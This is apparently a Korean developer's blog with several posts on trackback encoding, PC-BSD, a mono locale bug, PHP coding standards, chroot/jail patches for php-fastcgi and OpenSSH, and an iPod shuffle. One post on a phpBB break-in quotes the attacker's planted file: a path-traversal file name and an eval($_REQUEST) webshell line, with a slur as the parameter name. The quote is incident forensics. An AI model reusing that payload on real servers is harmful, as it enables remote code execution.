coreblog 트랙백을 똑똑하게 받자

어제 뽀빠이님께서 보내주신 트랙백이 장렬하게 깨져서 한참 보였었는데, 그 부분을 수정하기 위해서 코드를 좀 들여다 봤습니다. 이 부분은 아주 유명한 프로토콜 디자인 상의 오류인 트랙백의 인코딩 문제로 인해서 발생합니다. 아시다시피 트랙백을 전송하는 HTTP GET 리퀘스트에는 특별히 인코딩을 쓸 수 있는 방법이 없는데, URI/URL의 원초적인 한계성으로 인해서 HTTP GET에는 뭐가 들어오던 간에, 인코딩 이름을 직접 주지 않고서는 뭐 해결할 방법이 전혀 없는.. 참으로 답답한 경우 중의 하나입니다. 으흐~ (이 부분은 트랙백의 기반 표준을 IRI로 바꿔버리면 해결되긴 합니다.)

그래서, 결국은 아직까지는 euc-kr인가 utf-8인가를 구분하기 위해서는 그냥 디코딩해 보는 방법 외에는 딱히 방법이 없는데, 많은 블로그 소프트웨어들이 이런 경우는 고려하지 않고 작성되어 있어서~ ~ 코어블로그도 마찬가지라서.. 그냥 깨져버리고 말았네요.. 흐.. 그래서 일단은 우선 긴급 상황을 패치하기 위해 양쪽 다 시도하는 코드를 우겨넣어 보았습니다. 주말에 환경 설정에서 읽도록 바꿔야겠네요.. 🙂

FreeBSD GUI 인스톨러

FreeBSD 개발자 메일링 리스트에 새 FreeBSD기반 운영체제라고 Kylin에 대해서 메일이 올라 왔습니다. 그런데, 웹 페이지를 아무리 꼼꼼히 읽어봐도.. 딱히 FreeBSD기반도 아닌 것이.. 매뉴얼을 봐도 다 리눅스 명령어이고.. 아무래도 리눅스처럼 보이는데.. 으흐; -O-

그 메일 쓰레드에 다른 개발자가 답글로 새로운 다른 프로젝트를 찾았다고 글을 올렸는데, 바로 PC-BSD 였습니다. PC-BSD는 그래픽 인스톨러를 넣고 X 환경을 간단하도록 튜닝한 FreeBSD 배포본인 듯 합니다. 일단, 웹 사이트를 정탐해 보니까, 아무래도 웹 사이트 스타일이 FreeSBIE랑 비슷한게.. 비슷한 사람들이 만든 것일까 했는데, 그냥 다른 사람들인 듯 합니다.

아직 그래픽 인스톨러는 아직 아나콘다보다는 좀 안 예쁘기는 합니다마는, 그래도 데비안 그래픽 인스톨러보다는 예쁘(;; -ㅇ-)군요.. 흐흐흐; PC-BSD는 FreeSBIE와는 다르게, KDE를 기본으로 쓰고 있는데, GNOME 인스톨은 따로 특별히 지원하고 있지는 않은 듯 합니다. FreeSBIE는 xfce와 wmaker를 지원하고, PC-BSD는 KDE를 지원하니.. 이제 그놈 기반 인스톨러만 하나 나오면 좋겠는데.. ^_^

그런데, 기왕 BSD 인스톨러면 BSD 라이선스를 썼으면 좋았을텐데, 신비롭게도.. 인스톨러를 GPL로 해놨네요.. (그럼 그냥 젠투 인스톨러로 만들 것이지~ -O-;; =3=33)

mono의 한국어 DateTimeFormatInfo

FreeBSD에서 mono가 여전히 잘 안되는 부분이 많기에.. 고치기도 힘들고 해서 깔아놓고는 별로 안 쓰고 있었는데, 창우옹께서 날짜가 이상하게 나오는 문제가 있다기에, 주말에 날씨도 화창한데 집에서 문제를 고쳐 봤습니다.

우선, 문제는 System.DateTime.ToShortTimeString()의 결과가 “오 5:12″같이 오전/오후가 표시가 안 되는 생뚱맞은 것이었는데, MS.NET CLR에서는 “오후 5:12″로 제대로 나왔는데, mono에서만 짤려서 나오는 것이었습니다. 그래서 무슨 문제인지 추적을 해 봤는데.. 역시 구조는 여기 저기 많이 거친거라.. 한참을 “그건 우리 담당이 아니니 다른 데 가서 알아보세요”를 겪고 찾아버렸습니다. 으흐.

  • 일단은 corlib의 System.DateTime 클래스: 여기서는 ShortTimeString 메쏘드가 ToString 메쏘드를 호출하고, ToString에서는 내부적인 다른 메쏘드에서 System.Globalization.DateTimeFormatInfo 클래스의 ShortTimePattern을 참조하고 있었습니다.
  • System.Globalization.DateTimeFormatInfo을 보니까, 별다른 내용은 없고, 그냥 다른 곳에서 construct해 준 값을 그냥 단순히 받아만 주는 것 같아서, 다시 System.DateTime으로~
  • System.DateTime 구현을 자세히 보니까 System.Globalization.CultureInfo 클래스의 인스턴스를 가져오도록 되어있었는데, 그놈이 TLS에 저장되는 전역 인스턴스를 가져오도록 되어있었습니다. 그런데, 데이터를 로딩하는 부분은 construct_datetimeformat_info()라는 정의되지도 않은 메쏘드를 쓰고 있었는데, [MethodImplAttribute (MethodImplOptions.InternalCall)] private extern void 라는 데코레이트 되는 타입으로 되어있어서, 아 이게 뭔가 하고 한참을 고민했습니다. ;;
  • 결국 mono 소스 전체에서 저 메쏘드 이름을 grep해 보니까, 와와! monoruntime의 mono/mono/metadata/locale.c에서 C함수를 그 메쏘드로 매핑하고 있었던 것.. 자세히 보니까 culture-info-table.h라는 자동 제너레이트된 파일에 datetime 포맷이 기록되어 있었습니다. 근데 그놈은 또 다른 프로그램이 만든 것;
  • 휴.. 결국은 목적지에 도착! mono/tools/locale-builder라고 하는 C#으로 작성된 프로그램이 locale과 culture관련 XML파일들을 모아서 monoruntime의 C 헤더파일로 변환을 해 주고 있었습니다. mono에서는 ICU의 데이터들을 그대로 쓰고 있는데, ICU LDML와 CLI의 포맷이 다른 점을 supp/ 디렉터리 아래의 xml 파일들로 오버라이드하고 있는 바로 그 부분에서 잘못된 포맷이 있었던 것! 그래서 잽싸게 쓱싹 수정해서..
  • 버그를 질렀습니다. 으흐.. 버그질라는 왜이리 복잡하지~

그런데, 이번에 이 작업을 하면서, mono의 System.Globalization 지원 부분의 내부 구조를 잘 알게 되었는데, 생각보다는 역시 디자인이 괜찮은 것이, 파이썬에도 CultureInfo같은 것을 하나 만들어 넣고 싶어졌습니다. 지금 있는 locale 모듈은 시스템 의존적이라, 안 되는게 너무 많아서.. 으흐.. 그런데, 구글에서 찾아보니 Zope X3의 zope.i18n 쪽에서 ICU를 기반으로 한 국제화 지원이 들어가고 있었는데, 아직 구체적으로는 안 봤지만 뭔가 기대가 됩니다!

회사 PHP 코딩 규정

요새 회사가 새로운 모습으로 (9시 출근을 포함해서;;) 많이 바뀌면서, 정상적인 개발팀이라면 있어야 한다고 보통 다들 그러지만, 하루 벌어 하루 먹고 사는 빈곤 개발팀들에게는 꿈같은 것 중의 하나인 “코딩 규정 (coding standards)”를 만들었습니다.

제가 소속된 팀에서는 서버나 에이전트 같은 정적인 프로세스들은 파이썬을 사용하고 있고, 웹 인터페이스 쪽에서는 커스터마이즈를 직접 하기 원하는 고객들의 요구때문에, PHP를 사용하고 있습니다. 그래서, 파이썬쪽은 당연히 PEP-008 파이썬 코드 스타일 가이드를 따르는 것으로 간략하게 정했고, PHP 쪽에서는 딱히 생각나는 문서가 없어서 우선 떠오르는 몇가지를 글자로 옮겨 보았습니다. (원본은 회사 내부 사이트 안에 올라가 있기 때문에, 따로 OpenLook Wiki에 PHPCodingStandard 페이지로 옮겨 두었습니다.)

물론, 인덴트 크기나, {}의 위치, if () 조건문의 띄어쓰기 방법, 각 연산자 별로 어느 것은 띄어 쓰고 어떤 것은 띄어쓰지 않을 것인지, switch뒤에 case는 띄어 쓸지 아닐지 같은 것들은 상당히 종교적인 싸움까지도 갈 수도 있는 민감한 사안이기는 합니다. 그렇지만, 각자가 자기 스타일이 좋다고 그냥 코드를 제각각 써버리는 것 만큼 추한 코드 나오기 적당한 환경이 없을 것 같다는 생각이 들어서, 그냥 모두 1가지 방법으로 통일했습니다. 목표는 코드를 보고서 이게 누가 짠 것인지 모르게 만드는 것! 크크 🙂

사실 XP를 쓰지 않는 프로젝트를 하다 보면, 알게 모르게 어느 소스는 누가 잘 알고 그런 게 생기게 마련인데, 이렇게 되면 문제점 해결을 위해서 고객이 연락을 하려는 경우에 여기 저기 공무원 처럼 떠넘김을 당하고 나서는, 개발자들이 책임감이 부족하다는 것을 느끼기도 한다는 것을 고객사 담당자에게 들었는데, 변명의 여지는 있지만 그래도 못 들은 체 하기에는 맞는 면도 있는 것 같습니다. 이제 슬슬 저희 팀에서도 이제 누가 짰는지 모르는 공동생산을 본격적으로 해보려고 마음을.. 🙂

C++에 미련이 있는 사람들을 위한 call by reference

IRC에서 후배 nezy군이 C++의 &인자와 같은 참조에 의한 호출은 어떻게 하냐고 물어봐서, 오기로 한번 만들어 봤습니다. 안 될게 뭐 있어!

결과 값으로 “49 4″가 나옵니다. t와 r이 yay 함수에서 계산된 값으로 세팅된 것~ 🙂

(주의사항): 이 소스는 그냥 장난이지 실제로 이렇게 쓰시기를 추천하는 것은 아닙니다.;;;

fastcgi에서 php를 chroot 안에서 구축하기

오늘부터 OpenLook은 새로운 서버에서 돌아가게 되었습니다. 옵테론 242 듀얼이라 무지 빨라졌지요~ (사실 별로 돌아가는 게 없어서 그다지 체감 속도는;;) 이번에 옮기는 김에, 기존에 쓰던 아파치에서 lighttpd로 바꿨습니다. 요새 lighttpd가 워낙 인기가 있어서, 한번 도전을 해 봤는데, 환경 설정이나 속도나 소모되는 자원이나 여러모로 아주 마음에 듭니다. 🙂

OpenLook서버에서 돌아가고 있는 웹 사이트 중에 동아리 홈페이지와 파이썬마을이 php를 쓰고 있기 때문에, php를 설정하는 방법을 고심하다가, 심심하면 터지는 php 애플리케이션의 보안 버그에도 좀 대비를 하고자 각각의 php 사이트를 별도의 fastcgi 프로세스로 분리를 해서 setuid/chroot 해버리기로 마음을 먹었습니다. 그래서, lighttpd에서 기본으로 제공해 주는 spawn-fcgi 유틸리티를 이용해서 일단은 만들어 봤는데, spawn-fcgi는 소켓을 만든 다음에, setuid, setgid, chroot를 한 다음에 php를 띄우는 순서로 하다보니, php바이너리는 물론이고 관련 라이브러리까지 모두 chroot 디렉토리 안에 넣어야 제대로 돌아가는 문제점이 있었습니다.

그래서, 아무래도 원하는대로 하려면, chroot를 하기 전에 php의 초기화를 모두 끝내고 나서 chroot를 해줘야하기 때문에, 알고보면 spawn-fcgi에서는 아무리 별짓을 해 봐야, 방법이 없고, 결국은 php 내부에서 해결을 해야 하는 문제로 판단이 됐습니다.

그래서 결국은 패치를 만들었습니다. 으흐.. php-cgi-sapi는 fastcgi와 cgi를 동시에 지원하느라 코드가 상당히 지저분하긴 했지만서도;; 하여간 패치하고 나니까, pear를 사용하지 않는 대부분의 php 프로그램들은 그럭저럭 잘 돌아가는 것이, 제로보드를 돌려도 안전할 것 같은 느낌이 드는군요 -ㅇ-;; 가급적이면 명령행 옵션으로 만들어서 메인스트림에 올렸으면 좋았을텐데, 명령행옵션이 이미 너무 많이 들어가있어서, 옵션들을 더 넣을라니 알파벳도 마땅찮고 –; 그래서 결국은 그냥 환경변수로 그냥 혼자 쓰는 패치로;; 으흐~ 포트 유저는 패치를 /usr/ports/lang/php5/files에 넣으시고 www/php5-cgi를 WITH_FASTCGI=yes옵션을 주고 깔으시면 됩니다~!

명랑하고 발랄하고 경쾌한 lighttpd 세상으로 오세요~ -O-

파이썬 마을이 뚫리다

오픈룩과 같은 서버에서 호스팅하고 있는 파이썬마을이 오늘 낮에 중국에서 들어온 것으로 보이는 공격자들에게 잠시 뚫렸습니다. 바로 다른 분들이 알려주신 덕분에, 2.0.11을 사용하고 있던 phpbb를 2.0.13으로 업데이트하고, 뚫린 곳을 복구했습니다.

phpBB는 널리 쓰이는 여타 php 웹 애플리케이션이나 마찬가지로 매번 보안 문제점이 발생될 때마다 엄청나게 치명적인 권한 누출이 발생되는데, 국내외를 불문하고 다들 이런 것은.. php의 문제인지.. 스크립트 언어 기반 웹 프로그래밍의 문제인지.. 참 답답하네요;; 한 두번도 아니고 흑흑 -.-

우선, 이번에 뚫린 부분은 일반 사용자로 가입한 뒤에 2월 27일에 발표된 회원 누구나 자동 로그인 기능을 사용해서 관리자 권한을 획득할 수 있는 버그로 웹상의 관리자 권한을 획득하는 곳까지 성공해서, 게시판 1개의 설명을 바꿔놨습니다. 안 바꿨으면 눈치를 못 챘을텐데 중국 이름을 알리고 싶었던 모양이죠 -.-a

그 다음으로 공격시도는 아직 발표되지 않은 보안 버그를 시도하려한 듯 한데, 컬러 테마로 상위디렉토리로 쭉쭉 올라가서 tmp에다가 theme_info.cfg라는 파일을 만드는 것까지는 성공했네요. (이건 따라해 보니까 2.0.13에서도 아직 수정이 안 된듯) 그래서, 이제 theme_info.cfg에 php코드를 넣을 수 있다는 점을 이용해서 GET 요청으로 들어온 변수를 바로 php에서 실행을 하도록 했는데, 다행히도 오픈룩의 웹서버가 jail안에 들어가 있어서, 별로 갖고 갈 정보도 없는데다, 특별히 의미있는 작업을 한 것 같지는 않습니다.

공격자측에서 /tmp/theme_info.cfg 로 기록에 성공한 파일의 앞부분

<?php

//
// phpBB 2.x auto-generated theme config file for aaa=12;eval(stripslashes($_REQUEST[nigga]));exit();// /../../../../../../../../../../../../../../../../../../../tmp
// Do not change anything in this file!
//

$aaa=12;eval(stripslashes($_REQUEST[nigga]));exit();// /../../../../../../../../../../..
/../../../../../../../../tmp[0][‘template_name’] = “aaa=12;eval(stripslashes($_REQUEST[n
igga]));exit();// /../../../../../../../../../../../../../../../../../../../tmp”;

으흐흐.. 어차피 뭐 곧 서버를 옮길테니까 DB만 무사하면 되는데.. 백업이 이틀 전 것까지 밖에 없어서 그새 뭔가 날아간 게 있을까봐 두렵군요 –;

php 웹 애플리케이션들의 보안버그 – 과연 끝은 어디인가 -_-;;

PyCon 뱃지



(사진은 좀 생뚱맞지만 뱃지만 찍으니 썰렁해서 군번줄을 같이;;;)

용이사님PyCon DC2005에서 기념선물로 사다주신 뱃지. 🙂 파이썬 로고 치고는 상당히 멋있습니다. 흐흐 공식 로고로 써도 되겠다~ -O- 오늘 이사님께 PyCon 얘기를 무지 많이 전해 들었는데, 정말 흥미로왔던 행사임이 틀림없는 듯합니다. 아아 내년엔 저도 꼭 가서 세계의 파이썬 친구들을 모두 만나고 하하하하 웃어야겠네요~ 🙂 아쉬우나마 사진 구경이나…

그리고, 곧 4월말 쯤에, 작년에 좀 하다가 말은 파이썬마을 작은 세미나를 이어서 하기로 했습니다. 이번에는 참여 저변을 조금 넓히기 위해, 참가자 6~8명 정도의 주제가 다른 트랙 2개로 해서 뒷풀이는 같이 하는 방법으로 하면 좋을 것 같아서, 아무래도 그렇게 할 것 같네요~ 🙂 주제로는 요새 모르면 남의 소스보기가 힘들어진 메타클래스 프로그래밍과 입문자용 트랙으로 py2exe, win32all를 해 보면 어떨까 생각하고 있습니다~ 자세한 것은 곧 파이썬마을에.. ^^;

인생은 제비뽑기

이제 출퇴근길에 버스를 타게 돼서, 노트북이 덜컹거리면 하드가 깨질까봐 무서워서 코딩도 못하고 꼼짝없이 가만 앉아서 책만 읽게 되었습니다. 그래서, 너무나도 심심하던 차에 그냥 예쁘기도 하고 iPod 셔플을 충동구매! @_@ 요새 신촌에도 보면 목에 셔플 걸고 다니는 사람이 제법 많은 것도 뭔가 샘나기도 하고해서~ 쿠쿠;

오래 전에 들고 다니던 무거운 iPod은 항상 가방 속에 넣고 다녀야했던 반면에, 셔플은 주머니 속에 넣어도 전혀 부담스럽지가 않은 가벼운 무게! 대만족이군용. 🙂

으음 그런데 하나 이상한 점은, 목걸이가 상당히 길어서 거의 배꼽까지 내려오는데, 게다가 이어폰 꽂는 곳이 아랫쪽이라, 사실상 이어폰 줄이 축 늘어져서 걸어다니는 배선반도 아닌 것이.. 뭐 이런 흉물스러운;; 아이리버처럼 목걸이 줄에 이어폰 선이 들어가 있는 것도 아니고, 표준 사용법이 약간 의심스럽긴 하군요.. 그래서 그런지 애플 홈페이지에도 좀처럼 목걸이에 걸고 음악을 듣는 사진도 없고, 있더라도 치렁치렁한 그 부분을 손으로 잡는 다던가.. 초점을 다른 데로 보내는 짓을 –;; 오묘하군요!

한 4일 정도 들고다녀 본 결과, 아무 곡이나 마구 나오는 것이 생각보다는 괜찮은 느낌입니다. 그런데, 곡 간에 무슨 연관 관계를 주는지, 연속해서 같은 가수의 곡이 나올 확률이 상당히 높은 느낌이 듭니다. 단순한 랜덤이 아닌가! ‘ㅇ’;;

OpenSSH jail 패치

서버를 세팅하던 도중에 jail안에 사용자를 몽땅 다 넣어버리려고, chroot 패치를 할까 하다가, 요새 jail에서 jail_attach도 지원하고 하길래, 간단하게 jail 패치로 바꿔 봤습니다.

요렇게 하면 chroot보다 리소스 제한을 좀 더 섬세하게 할 수 있고, top나 ps같은 것도 jail 안의 것만 볼 수 있도록 제한됩니다. 이히히 🙂